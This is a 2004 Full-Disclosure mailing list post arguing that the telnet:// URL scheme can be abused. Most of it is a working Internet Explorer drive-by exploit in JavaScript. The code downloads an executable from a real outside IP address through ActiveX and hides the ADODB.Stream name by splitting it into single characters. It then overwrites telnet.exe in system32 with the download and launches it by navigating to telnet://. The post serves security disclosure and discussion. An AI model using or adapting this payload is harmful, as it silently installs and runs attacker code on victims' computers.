[Full-Disclosure] telnet URL type used in exploit

[Michael Hale <michael.hale@xxxxxxxxx>]

In reply the discussion found at: 

http://seclists.org/lists/fulldisclosure/2004/Jul/0528.html

the consesus seems to be that there are no obvious ways to exploit the
mentioned URL types, such as tn3270, telnet, LDAP, rlogin etc. While
these may not be exploitable per se, they certainly are when used in
conjction with other known exploits. Take the following code for
example:

var downloadurl="http://213.159.117.133/dl/loadadv74.exe";;

if(navigator.appVersion.indexOf("Windows NT 5.1")!=-1)
savetopath="C:\\WINDOWS\\system32\\telnet.exe";

if(navigator.appVersion.indexOf("Windows NT 5.0")!=-1)
savetopath="C:\\WINNT\\system32\\telnet.exe";

payloadURL = downloadurl;

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();

function bla() { return "A" + "D" + "O" + "D" + "B" + "." + "S" + "t"
+ "r" + "e" + "a" + "m"; }
var s = new ActiveXObject(bla());

s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile(savetopath,2);

location.href = "telnet://";;

The JavaScript overwrites telnet.exe with a downloaded executable and
then runs it by pointing the browser at telnet://. Instead of
launching a telnet shell as expected, the attackers code is executed.
This is not only an example of the telnet URL type being involved in
an exploit, but one that actually relies on it.

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